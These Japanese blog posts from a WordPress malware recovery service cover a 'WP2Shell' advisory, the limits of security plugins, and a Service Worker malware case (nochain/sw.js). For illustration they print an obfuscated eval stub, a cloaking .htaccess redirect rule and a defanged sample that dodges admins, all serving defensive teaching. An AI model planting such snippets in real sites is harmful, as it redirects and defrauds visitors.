本記事はワードプレスレスキュー（wp-r.com）が、2026年6月21日時点で各社公式サイトに掲載されている公開情報をもとに作成しています。料金や対応範囲は変更される可能性があるため、依頼前に各社の公式サイトで最新情報をご確認ください。

本記事は特定のサービスを優良と断定したり、優劣をつけたりするものではありません。

**カテゴリー:** WordPress復旧業者比較

---

### [WP2Shellの感染調査・復旧に緊急対応｜WordPress脆弱性対策](https://wp-r.com/wprescue/p2shell-wordpress-recovery/)

**Published:** 7月 18, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** WordPressの重大な脆弱性「WP2Shell」の感染調査・復旧を承ります。不正な管理者、バックドア、改ざんファイルを調査・除去し、WordPress更新から再発防止まで対応します。

**Content:**

# WP2Shellの感染調査・復旧対応を承ります

WordPressの重大な脆弱性「WP2Shell」を悪用した攻撃が確認されています。

WP2Shellは、WordPress本体に存在する2つの脆弱性を組み合わせることで、ログインしていない第三者が不正な管理者アカウントを作成し、悪意のあるプログラムを実行できる可能性がある問題です。

プラグインやテーマを使用していないWordPressでも影響を受ける可能性があります。

## 影響を受けるWordPressのバージョン

以下のバージョンには脆弱性があります。

- WordPress 6.8～6.8.5
- WordPress 6.9～6.9.4
- WordPress 7.0～7.0.1

修正版は以下です。

- WordPress 6.8.6
- WordPress 6.9.5
- WordPress 7.0.2

WordPress 6.9～6.9.4および7.0～7.0.1では、脆弱性を組み合わせることで、サイトを乗っ取られる危険性があります。

すでに攻撃が確認されているため、WordPressを更新するだけでなく、更新前に侵入されていないかを確認することが重要です。[Rapid7](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/?utm_source=chatgpt.com)および[Wordfence](https://www.wordfence.com/blog/2026/07/wp2shell-wordpress-exploit-technical-analysis-and-real-attack-data/?utm_source=chatgpt.com)も、実際の攻撃を確認しています。

## WordPressを更新しただけでは安全とは限りません

修正版へのアップデートにより、今後の攻撃を防ぐことはできます。

しかし、アップデート前に侵入されていた場合、不正な管理者アカウントやバックドア、改ざんされたPHPファイルなどが残っている可能性があります。

次のような状態がある場合は、早急な調査をおすすめします。

- WordPressが古いバージョンのままだった
- 知らない管理者アカウントが追加されている
- 見覚えのないプラグインやPHPファイルがある
- 海外サイトや広告ページへ転送される
- 管理画面へログインできない
- サイトが改ざんされた
- サーバー会社からマルウェア感染の連絡が来た
- WordPressを更新したが、感染していないか不安

## ワードプレスレスキューのWP2Shell対応

ワードプレスレスキューでは、WP2Shellによる感染や乗っ取りが疑われるWordPressについて、以下の作業を承ります。

- WordPress本体のバージョン確認
- 不正な管理者アカウントの調査
- 改ざんファイル・バックドアの調査
- 不審なプラグインやテーマの確認
- WordPressデータベースの調査
- マルウェアおよび不正コードの除去
- WordPress本体の安全な更新
- パスワード・認証情報の変更案内
- 脆弱な設定の見直し
- 復旧後の再発防止対策

単にWordPressを最新版へ更新するだけではなく、すでに侵入された痕跡がないかを確認し、感染が見つかった場合は復旧まで対応します。

## WP2Shellへの対応はお早めにご相談ください

WP2Shellは、WordPress本体を対象とした重大な脆弱性です。

「更新前に攻撃されていないか確認したい」「不審な管理者やファイルが見つかった」「すでにサイトが改ざんされている」といった場合は、ワードプレスレスキューへご相談ください。

原因調査からマルウェア除去、WordPressの復旧、再発防止まで一貫して対応します。

**WP2Shellの感染調査・復旧について、無料相談を受け付けています。**

→ **[WordPressマルウェア・改ざん復旧について相談する](https://wp-r.com/?utm_source=chatgpt.com)**

**カテゴリー:** ワードプレス復旧実績

---

### [WordPressのプラグインによるマルウェア復旧方法を専門家が解説](https://wp-r.com/wp-achieve/malware-recovery-quick/)

**Published:** 4月 3, 2025
**Author:** ワードプレスレスキュー

**Content:**

目次

[Toggle](#)

- [❚ はじめに：マルウェア感染時、最初に考えるのは「プラグインで何とかできるか」](#%E2%9D%9A_%E3%81%AF%E3%81%98%E3%82%81%E3%81%AB%EF%BC%9A%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E6%99%82%E3%80%81%E6%9C%80%E5%88%9D%E3%81%AB%E8%80%83%E3%81%88%E3%82%8B%E3%81%AE%E3%81%AF%E3%80%8C%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E4%BD%95%E3%81%A8%E3%81%8B%E3%81%A7%E3%81%8D%E3%82%8B%E3%81%8B%E3%80%8D)
- [ざっくりとした復旧手順の一例](#%E3%81%96%E3%81%A3%E3%81%8F%E3%82%8A%E3%81%A8%E3%81%97%E3%81%9F%E5%BE%A9%E6%97%A7%E6%89%8B%E9%A0%86%E3%81%AE%E4%B8%80%E4%BE%8B)
    - [テストサイトも本番サイトと同様に感染確認を行うか、不要であれば根こそぎ削除します。](#%E3%83%86%E3%82%B9%E3%83%88%E3%82%B5%E3%82%A4%E3%83%88%E3%82%82%E6%9C%AC%E7%95%AA%E3%82%B5%E3%82%A4%E3%83%88%E3%81%A8%E5%90%8C%E6%A7%98%E3%81%AB%E6%84%9F%E6%9F%93%E7%A2%BA%E8%AA%8D%E3%82%92%E8%A1%8C%E3%81%86%E3%81%8B%E3%80%81%E4%B8%8D%E8%A6%81%E3%81%A7%E3%81%82%E3%82%8C%E3%81%B0%E6%A0%B9%E3%81%93%E3%81%9D%E3%81%8E%E5%89%8A%E9%99%A4%E3%81%97%E3%81%BE%E3%81%99%E3%80%82)
    - [SSHにて不正なプロセスがないか確認](#SSH%E3%81%AB%E3%81%A6%E4%B8%8D%E6%AD%A3%E3%81%AA%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E3%81%8C%E3%81%AA%E3%81%84%E3%81%8B%E7%A2%BA%E8%AA%8D)
    - [FTPにてWordPressの全体を確認](#FTP%E3%81%AB%E3%81%A6WordPress%E3%81%AE%E5%85%A8%E4%BD%93%E3%82%92%E7%A2%BA%E8%AA%8D)
    - [WordPressのコアファイルの入替え](#WordPress%E3%81%AE%E3%82%B3%E3%82%A2%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%85%A5%E6%9B%BF%E3%81%88)
- [❚ ここで１回切り分け](#%E2%9D%9A_%E3%81%93%E3%81%93%E3%81%A7%EF%BC%91%E5%9B%9E%E5%88%87%E3%82%8A%E5%88%86%E3%81%91)
- [❚ セキュリティプラグインの目的とできること](#%E2%9D%9A_%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%AE%E7%9B%AE%E7%9A%84%E3%81%A8%E3%81%A7%E3%81%8D%E3%82%8B%E3%81%93%E3%81%A8)
- [❚ 実際のマルウェア感染例：プラグインでの限界を示すケース](#%E2%9D%9A_%E5%AE%9F%E9%9A%9B%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E4%BE%8B%EF%BC%9A%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E3%81%AE%E9%99%90%E7%95%8C%E3%82%92%E7%A4%BA%E3%81%99%E3%82%B1%E3%83%BC%E3%82%B9)
    - [▶ Case 1：functions.php に仕込まれた難読化evalコード](#%E2%96%B6_Case_1%EF%BC%9Afunctionsphp_%E3%81%AB%E4%BB%95%E8%BE%BC%E3%81%BE%E3%82%8C%E3%81%9F%E9%9B%A3%E8%AA%AD%E5%8C%96eval%E3%82%B3%E3%83%BC%E3%83%89)
    - [▶ Case 2：投稿本文に埋め込まれた <script> タグ](#%E2%96%B6_Case_2%EF%BC%9A%E6%8A%95%E7%A8%BF%E6%9C%AC%E6%96%87%E3%81%AB%E5%9F%8B%E3%82%81%E8%BE%BC%E3%81%BE%E3%82%8C%E3%81%9F_%E3%82%BF%E3%82%B0)
    - [▶ Case 3：.htaccess によるクローキング](#%E2%96%B6_Case_3%EF%BC%9Ahtaccess_%E3%81%AB%E3%82%88%E3%82%8B%E3%82%AF%E3%83%AD%E3%83%BC%E3%82%AD%E3%83%B3%E3%82%B0)
    - [▶ Case 4：wp\_options や cron に登録された自己復元コード](#%E2%96%B6_Case_4%EF%BC%9Awp_options_%E3%82%84_cron_%E3%81%AB%E7%99%BB%E9%8C%B2%E3%81%95%E3%82%8C%E3%81%9F%E8%87%AA%E5%B7%B1%E5%BE%A9%E5%85%83%E3%82%B3%E3%83%BC%E3%83%89)
- [❚ 実際のマルウェア感染例：プラグインでの限界の結果](#%E2%9D%9A_%E5%AE%9F%E9%9A%9B%E3%81%AE%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E4%BE%8B%EF%BC%9A%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E3%81%AE%E9%99%90%E7%95%8C%E3%81%AE%E7%B5%90%E6%9E%9C)
    - [▶ Case 1：数週間後、数カ月後に再感染した事例が多い](#%E2%96%B6_Case_1%EF%BC%9A%E6%95%B0%E9%80%B1%E9%96%93%E5%BE%8C%E3%80%81%E6%95%B0%E3%82%AB%E6%9C%88%E5%BE%8C%E3%81%AB%E5%86%8D%E6%84%9F%E6%9F%93%E3%81%97%E3%81%9F%E4%BA%8B%E4%BE%8B%E3%81%8C%E5%A4%9A%E3%81%84)
- [❚ よく使われるWordPressセキュリティプラグイン10選と、それぞれの強み・役割](#%E2%9D%9A_%E3%82%88%E3%81%8F%E4%BD%BF%E3%82%8F%E3%82%8C%E3%82%8BWordPress%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B310%E9%81%B8%E3%81%A8%E3%80%81%E3%81%9D%E3%82%8C%E3%81%9E%E3%82%8C%E3%81%AE%E5%BC%B7%E3%81%BF%E3%83%BB%E5%BD%B9%E5%89%B2)
    - [1. Wordfence Security（ワードフェンス）](#1_Wordfence_Security%EF%BC%88%E3%83%AF%E3%83%BC%E3%83%89%E3%83%95%E3%82%A7%E3%83%B3%E3%82%B9%EF%BC%89)
    - [2. Sucuri Security（スキュリ）](#2_Sucuri_Security%EF%BC%88%E3%82%B9%E3%82%AD%E3%83%A5%E3%83%AA%EF%BC%89)
    - [3. iThemes Security（アイテーマズ）](#3_iThemes_Security%EF%BC%88%E3%82%A2%E3%82%A4%E3%83%86%E3%83%BC%E3%83%9E%E3%82%BA%EF%BC%89)
    - [4. MalCare（マルケア）](#4_MalCare%EF%BC%88%E3%83%9E%E3%83%AB%E3%82%B1%E3%82%A2%EF%BC%89)
    - [5. All-In-One WP Security & Firewall](#5_All-In-One_WP_Security_Firewall)
- [複数プラグインをインストールするのは非推奨](#%E8%A4%87%E6%95%B0%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%92%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E3%81%99%E3%82%8B%E3%81%AE%E3%81%AF%E9%9D%9E%E6%8E%A8%E5%A5%A8)
- [❚ セキュリティプラグイン8選（比較一覧表）](#%E2%9D%9A_%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B38%E9%81%B8%EF%BC%88%E6%AF%94%E8%BC%83%E4%B8%80%E8%A6%A7%E8%A1%A8%EF%BC%89)
- [❚ まとめ：セキュリティプラグインも頼りつつ、柔軟な対応を](#%E2%9D%9A_%E3%81%BE%E3%81%A8%E3%82%81%EF%BC%9A%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%82%E9%A0%BC%E3%82%8A%E3%81%A4%E3%81%A4%E3%80%81%E6%9F%94%E8%BB%9F%E3%81%AA%E5%AF%BE%E5%BF%9C%E3%82%92)

## ❚ はじめに：マルウェア感染時、最初に考えるのは「プラグインで何とかできるか」

```
1400件（復旧件数）以上の実績。土日対応・成功報酬制で、WordPressの緊急復旧を最短でサポートします。
```

**【結論**】軽度の感染はプラグイン補助が有効です。再感染・改ざん・不正プロセスがある場合は手動調査が必要です。

![](https://wp-r.com/wp-content/uploads/2025/06/plugin1-min.jpg)

## ざっくりとした復旧手順の一例

WordPressサイトがマルウェアに感染したとき、多くのユーザーがまず試すのが「セキュリティプラグインを使ってスキャン・駆除してみる」ことです。手順はざっくりとしたもので、実際のプロフェッショナルの現場では、オリジナルツールやもっと細かく対応しますが、かなり専門的無ことになるので、割愛します。

詳しい内容、[【2026年最新】WordPressマルウェアの対応、乗っ取り復旧方法と手順の完全ガイド｜プロが教える](https://wp-r.com/wp-achieve/wordpress-hack-recovery-guide/)

### テストサイトも本番サイトと同様に感染確認を行うか、不要であれば根こそぎ削除します。

特に以下は注意が必要です。

- 使用していないWordPress
- 古いテストサイト
- 下層ディレクトリに残った旧サイト
- 使っていないドメインの公開
- フォルダ 放置されたプラグイン・テーマ
- バックアップ名で残された古いWordPress一式

![本番サイトとテストサイトの感染確認と不要時の削除手順を示す日本語の説明図。短く要点を伝える案内画像。](https://wp-r.com/wp-content/uploads/2025/04/no-test-wordperss-marlware.png)### **SSHにて不正なプロセスがないか確認**

```
ps aux | grep wpr
※wprはユーザー名（ユーザー名）
```

※style.phpやl.phpなどのプロセスが上がっていたらほぼほぼマルウェアです。マルウェアのプロセスを削除します。この作業はFTPやファイルマネージャーではできません。典型的なワードプレスのマルウェアは、ファイルではなくてサーバーのメモリーにあるためです。

```
kill ◯◯◯◯(プロセス番号）
```

#### SSHなんて使えない！無理！？

SSH接続が出来ない場合は、操作がそもそもわからない場合は、サーバー会社のサポートに連絡して、確認・削除してもらってください。大抵のサーバー会社は対応可能と、直接確認を取りました。（2026年6月3日現在ですが、詳しくはサーバー会社のサポートに問い合わせてください。）

削除しても、マルウェアが復旧作業中に再度、不正なプロセスが立ち上がる場合がるので、弊社では数回タイミングをSSH経由で見計らって、WordPressの不正プロセス削除を対応しております。

※SSHの作業は、サーバーのデータを簡単に消せるので、いまから使用したことない方には、操作をお勧めしておりません。

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-rescue-lp/#contact)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

### **FTPにてWordPressの全体を確認**

サーバーパネルのファイルマネージャーも確認は出来ますが、マルウェア対応はほぼ無理です。

・明らかにおかしなファイルがないか視認。あれば確保する。
・WPのバージョンを確認。次のファイルで確認出来ます。「wp-includes/version.php」

### **WordPressの**コアファイルの入替え

- **WordPressのコアファイルの入れ替え（方法①WP CLI）完全に消して入替えではないので危険です。**差分の結果が２と３でおかしなファイルが出るとおもいます。
    １・wp core download –force
    ２・wp core verify-checksums（差分確認）
    ３・COREファイル出ないものをrmで削除
- **WordPressのコアファイルの総入れ替え（方法②）**
    １・FTPにて最新のCOREファイルをアップロード
    ２・古いファイルを対比して、新しいCOREファイルに入れ替え

## ❚ ここで１回切り分け

- ログインできるか？
- .htaccessが書き換えられないか？
- index.phpが書き換えられないか？
- おかしなプロセスが立ち上がっていないか？（SSHで確認）

おおよそ、この４つがうまく行ければ、プラグインでのチェック＆対応へ進めます。

実際、**WordPress向けのセキュリティプラグイン**は日々の防御や改ざん検知、アクセス制限に役立つ優れたツールであり、日常的な保守には欠かせません。

しかし、現場での復旧対応を数多く経験してきた立場から言えば、**マルウェア駆除をプラグインだけに任せるのは非常に危険なケースも多い**のが現実です。

SSHとFTPも合わせて対応しないと、マルウェアを取り除くことができないので、確実に再感染します。

## ❚ セキュリティプラグインの目的とできること

セキュリティプラグインは「予防」と「検知」に優れています：

- 不正アクセスの防止（ログイン制限・2段階認証）
- ファイルの改ざん検出（差分チェック・タイムスタンプ比較）
- マルウェアのスキャン（主にwp-content以下）
- ファイアウォールによる攻撃遮断
- スパムコメントやBotの制御

ただし、感染後にどこまで“除去”できるかは、感染の性質によって大きく異なります。セキュリティプラグインは、感染ファイルを見つけるうえで有効な手段のひとつです。

しかし、マルウェア復旧では「検出されたファイルを削除すること」と「再感染しない状態まで戻すこと」は別です。

## ❚ 実際のマルウェア感染例：プラグインでの限界を示すケース

### ▶ Case 1：functions.php に仕込まれた難読化evalコード

```
eval(base64_decode('aWYoJ...'));

難読化されたコードがテーマファイルに直接埋め込まれており、差分スキャンでも検出されないことがあります。
```

### ▶ Case 2：投稿本文に埋め込まれた <script> タグ

```

```

投稿やカスタムフィールドに埋め込まれたJSコードによって、広告経由など限定的にリダイレクトされる手法です。

### ▶ Case 3：.htaccess によるクローキング

```
RewriteCond %{HTTP_USER_AGENT} !Googlebot
RewriteRule ^(.*)$ https://spam.example.com [R=302,L]
```

クローキングを用いた.htaccess改ざんにより、実ユーザーのみがマルウェアに誘導されるケース。

### ▶ Case 4：wp\_options や cron に登録された自己復元コード

wp\_optionsやcronジョブに復元コードが仕込まれ、表面的に削除できても自動的に再感染が起こる事例です。

l.phpなどのマルウェアがOSプロセスとしてメモリに常駐し、FTPからは不可視。ps, grep, find などで発見し、SSHなどでつないで、killコマンドで削除する必要があります。特定にレンタルサーバーでは、このパターンは数多く見受けられます。**これはSSHを使えることが必須なので、エンジニアでないと対応はほぼ無理です。**前項の「**SSHにて不正なプロセスがないか確認**」の内容です。

## ❚ 実際のマルウェア感染例：プラグインでの限界の結果

### ▶ Case 1：数週間後、数カ月後に再感染した事例が多い

お客様自身でセキュリティプラグインを使用して不正ファイルの削除を行ったものの、数週間後から数カ月後に再び改ざんや不正ファイルの設置が確認された事例があります。

このケースでは、セキュリティプラグイン自体に問題があったというよりも、検出結果だけをもとに「復旧完了」と判断してしまったことが主な原因でした。

- 検出された不正ファイルは削除したが、同じサーバー内の別WordPressやテストサイトに感染源が残っていた。
- テーマやプラグイン以外の場所にある不正ファイルまで確認できていなかった。
- 削除処理を実行したものの、サーバーの権限設定により実際には削除できていないファイルがあった。
- 削除できなかったファイルや残留ファイルの確認を行わないまま、対応完了と判断していた。
- 不正に作成された管理者ユーザーや、改ざんされた設定情報が残っていた。
- 侵入経路となった古いプラグイン、テーマ、放置ファイル、不要なWordPressが残ったままだった。

## ❚ よく使われるWordPressセキュリティプラグイン10選と、それぞれの強み・役割

※各プラグイン毎、別途設定は必要になります。

### 1. Wordfence Security（ワードフェンス）

WordPress向けセキュリティプラグインの中でも、非常に有名なもののひとつです。リアルタイムスキャン、ファイアウォール、IPブロック、ファイル差分比較、ログイン防御、二段階認証など、WordPressを守るための機能が幅広く備わっています。復旧依頼にも対応しております。（英語対応）

マルウェアスキャンでは、WordPress本体や公式プラグイン・テーマのファイルと比較し、改ざんされた可能性のあるファイルを検出できます。状況によっては、改ざん前の状態へ復元できる場合もあります。

ただし、インストールしただけで十分に機能するわけではありません。スキャン範囲、ファイアウォール設定、通知設定、除外設定、ログイン防御などを適切に設定して初めて、本来の効果を発揮します。

また、画面や通知の多くが英語で表示されるため、英語の内容を正しく理解できる場合は、公式サポートや関連サービスを通じて復旧相談を進めることも可能です。

一方で、マルウェア感染時は、検出されたファイルを削除するだけでは再感染を防げない場合があります。サーバー内の別WordPress、バックアップフォルダ、残留ファイル、不正ユーザー、データベース改ざん、侵入経路の確認まで行う必要があります。

そのため、この種のセキュリティプラグインは「侵入を防ぐ」「改ざんを検知する」ための有効な手段ですが、感染後の完全復旧では、検出結果だけに頼らず、サーバー全体を含めた確認が重要です。

### 2. Sucuri Security（スキュリ）

サーバー側のファイル改変検知や整合性チェック、外部からの診断機能が充実しています。マルウェアスキャンよりも「監視」に特化した設計で、異常を可視化することに強みを持ちます。

ログ機能や通知機能も備えており、複数人で管理するような環境やサーバー管理権限を持つユーザーに向いています。インストールしただけでは、しっかりと機能しません。

### 3. iThemes Security（アイテーマズ）

細かいセキュリティ設定が豊富で、ログイン試行制限・XML-RPC無効化・2FA（二段階認証）など、多面的なセキュリティ対策が可能。インストールしただけでは、しっかりと機能しません。

スキャン能力は限定的ですが、WordPress本体の弱点を塞ぐ方向での強化が得意なプラグインです。

### 4. MalCare（マルケア）

クラウドベースのマルウェアスキャンが特徴で、サーバー負荷を抑えつつ感染ファイルの検出・削除が可能です。

ワンクリック除去機能があり、直感的な操作が可能なため、保守管理を一括で効率化したいユーザーにも人気があります。

### 5. All-In-One WP Security & Firewall

初心者向けのわかりやすいUIで、ファイアウォール・アクセス制御・ログイン試行制限などが手軽に設定できます。

セキュリティ強度を可視化する仕組みもあり、安心感を持って導入できる入門向け総合セキュリティプラグインです。

## 複数プラグインをインストールするのは非推奨

複数のセキュリティプラグインを同時にインストールすることは、基本的にはおすすめしません。

同じような機能が重複すると、スキャン処理やファイアウォール設定が干渉し、サイト表示の不具合や管理画面の動作不良につながる可能性があります。

弊社では複数のプラグインを使用する場合もありますが、それぞれの特性や使用目的を分け、設定を調整したうえで対応しています。

一般的には、目的に合ったプラグインを1つ選び、正しく設定・運用することが重要です。

## ❚ セキュリティプラグイン8選（比較一覧表）

プラグイン名特徴得意分野**Wordfence Security**リアルタイムスキャン・ファイアウォール・差分検出改ざん検出、IPブロック、ログイン制御**Sucuri Security**外部診断・整合性検査・イベントログ改ざん監視、ログ可視化、外部からの分析**iThemes Security**ログイン制限・2FA・XML-RPC無効化など管理画面の防御、WordPress初期設定の補強**MalCare**クラウド型スキャン・自動駆除直感的UI・複数サイト管理・即時駆除**All-In-One WP Security**総合セキュリティ・ファイアウォール設定初心者向け設定、視覚的に強度確認可**Shield Security**通知を減らした静音設計・必要最小限に特化低負荷保護、Bot対策、軽量セキュリティ**WP Cerber Security**REST API制限・スパム対策・ログ管理ログイン防御、API管理、柔軟な制御**NinjaFirewall (WP Edition)**不正アクセスや改ざんからサイトを守るための機能を提供初心者向け設定、視覚的に強度確認可## ❚ まとめ：セキュリティプラグインも頼りつつ、柔軟な対応を

- プラグインは予防・検知に有効だが、感染後の完全駆除には限界がある
- 投稿・DB・cron・メモリ型など、検出しにくい感染経路も存在する
- 「様子がおかしい」と感じたら、広い視点で点検と調査を行う

**セキュリティプラグインを活用しながらも、状況に応じた柔軟な判断と対応が求められます。**

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** ワードプレスのマルウェア復旧事例

---

### [nochain-sw.js / nochain/sw.jsとは？WordPressマルウェアが検出されない事例](https://wp-r.com/malware/malware-rep-47/)

**Published:** 7月 16, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** WordPressマルウェアがセキュリティプラグインで検出されない原因を、nochain-sw.js / nochain/sw.js の復旧事例から解説。Service Worker、外部コード、ログ痕跡、自己対応の注意点まで紹介。

**Content:**

WordPressで不正リダイレクトや警告が出ているのに、セキュリティプラグインでは「異常なし」と出ることがあります。今回確認した事例では、中心にいたファイルは nochain/sw.js でした。関連して nc-dropin.php、sw.js、nochain-sw.js も確認しています。

この記事は、実際に対応したWordPressマルウェア復旧事例をもとにまとめています。公開にあたり、サイトを特定できるパス、日付、時刻、IPアドレス、プラグイン名、送信情報は伏せています。コードも動かない形にしています。

コンテンツ

[Toggle](#)

- [見つかったファイル](#%E8%A6%8B%E3%81%A4%E3%81%8B%E3%81%A3%E3%81%9F%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB)
- [無毒化したコード例](#%E7%84%A1%E6%AF%92%E5%8C%96%E3%81%97%E3%81%9F%E3%82%B3%E3%83%BC%E3%83%89%E4%BE%8B)
- [なぜセキュリティプラグインで検出されなかったのか](#%E3%81%AA%E3%81%9C%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E6%A4%9C%E5%87%BA%E3%81%95%E3%82%8C%E3%81%AA%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%AE%E3%81%8B)
- [侵入手口・ログで分かったこと](#%E4%BE%B5%E5%85%A5%E6%89%8B%E5%8F%A3%E3%83%BB%E3%83%AD%E3%82%B0%E3%81%A7%E5%88%86%E3%81%8B%E3%81%A3%E3%81%9F%E3%81%93%E3%81%A8)
- [海外でも似た事例がありました](#%E6%B5%B7%E5%A4%96%E3%81%A7%E3%82%82%E4%BC%BC%E3%81%9F%E4%BA%8B%E4%BE%8B%E3%81%8C%E3%81%82%E3%82%8A%E3%81%BE%E3%81%97%E3%81%9F)
- [感染しないための対策](#%E6%84%9F%E6%9F%93%E3%81%97%E3%81%AA%E3%81%84%E3%81%9F%E3%82%81%E3%81%AE%E5%AF%BE%E7%AD%96)
- [よくある質問](#%E3%82%88%E3%81%8F%E3%81%82%E3%82%8B%E8%B3%AA%E5%95%8F)
    - [セキュリティプラグインで異常なしなら安全ですか？](#%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%81%A7%E7%95%B0%E5%B8%B8%E3%81%AA%E3%81%97%E3%81%AA%E3%82%89%E5%AE%89%E5%85%A8%E3%81%A7%E3%81%99%E3%81%8B%EF%BC%9F)
    - [自己対応できますか？](#%E8%87%AA%E5%B7%B1%E5%AF%BE%E5%BF%9C%E3%81%A7%E3%81%8D%E3%81%BE%E3%81%99%E3%81%8B%EF%BC%9F)
    - [ファイルを消せば終わりますか？](#%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92%E6%B6%88%E3%81%9B%E3%81%B0%E7%B5%82%E3%82%8F%E3%82%8A%E3%81%BE%E3%81%99%E3%81%8B%EF%BC%9F)
- [相談したほうがいいサイン](#%E7%9B%B8%E8%AB%87%E3%81%97%E3%81%9F%E3%81%BB%E3%81%86%E3%81%8C%E3%81%84%E3%81%84%E3%82%B5%E3%82%A4%E3%83%B3)

## 見つかったファイル

```
wp-content/
  nc-dropin.php
  sw.js
  nochain-sw.js
  nochain/
    sw.js
```

確認できた範囲では、nochain/sw.js は訪問者のブラウザにService Workerとして残り、ページ表示に割り込むような動きをしていました。

**Service Workerとは、ブラウザ側で動く仕組みのひとつです。本来は表示速度の改善やオフライン対応などに使われますが、悪用されると、ページ表示に割り込んだり、ブラウザ側に不審な処理を残したりすることがあります。**

通常のPHPマルウェアのように、サーバー上のファイルだけを見れば終わるタイプではない可能性があります。HTMLに別のスクリプトを差し込み、外部からコードを読み込み、管理者には見えにくくする作りが確認できました。

## 無毒化したコード例

```
// 無毒化した例。実際の接続先や送信情報は伏せています
function harmlessSample() {
  // 管理画面やログイン画面では動かない
  if (location.pathname.match(/wp-admin|wp-login/)) return;

  // ログイン済みユーザーには出にくい
  if (document.cookie.match(/wordpress_logged_in_/)) return;

  // 外部からコードを読み込む作り
  const remoteCode = "[REDACTED]";

  // 実行部分は危険なので削除しています
}
```

ポイントは、管理者が見たときに症状が出にくいことです。

「自分の環境では問題ない」「管理画面では異常がない」と見えても、一般訪問者側では別の動きをしている可能性があります。

## なぜセキュリティプラグインで検出されなかったのか

WordPressマルウェアでは、外部サーバーから追加コードや転送先を取得するタイプは珍しくありません。いわゆるC&C的に、外部から動きを変えられる仕組みを持つものもあります。

ただし今回の nochain/sw.js は、一般的なC&Cサーバーに命令を取りに行く単純な形というより、Service Worker、CDN、RPCを組み合わせ、WordPress側には中継役の仕組みだけを置くタイプに近いと考えられます。
今回のファイル内には、WordPress本体を直接壊すようなコードや、マルウェア本体そのものが分かりやすく置かれていたわけではありません。訪問者のブラウザ側でService Workerとして動き、外部から取得したコードをページに差し込めるようにする「入口」に近い作りでした。

そのため、セキュリティプラグインがWordPress内のファイルだけを見ても、実際に悪さをする本体や転送先をつかみにくかった可能性があります。

このタイプの改ざんでは、次のような悪用が考えられます。

- 偽の警告画面やサポート詐欺ページを表示する
- 別サイトや広告ページへ不正リダイレクトする
- ウォレット接続や暗号資産関連の詐欺ページへ誘導する
- 訪問者ごとに違うコードを読み込ませる
- 管理者には見せず、一般訪問者だけに症状を出す
- ブラウザ側にService Workerやキャッシュの痕跡を残す

今回確認した範囲では、検出されにくくするための特徴もありました。

- nochain/sw.js がService Workerとして動く
- wp-admin や wp-login.php を避ける
- ログイン済みCookieを避ける
- 外部からコードを取得する
- ブラウザ側のCache Storageにも痕跡が残る可能性がある

つまり、悪い処理の本体がWordPress内に丸ごと置かれているとは限らず、通常のファイルスキャンだけでは見つけにくいタイプだった可能性があります。

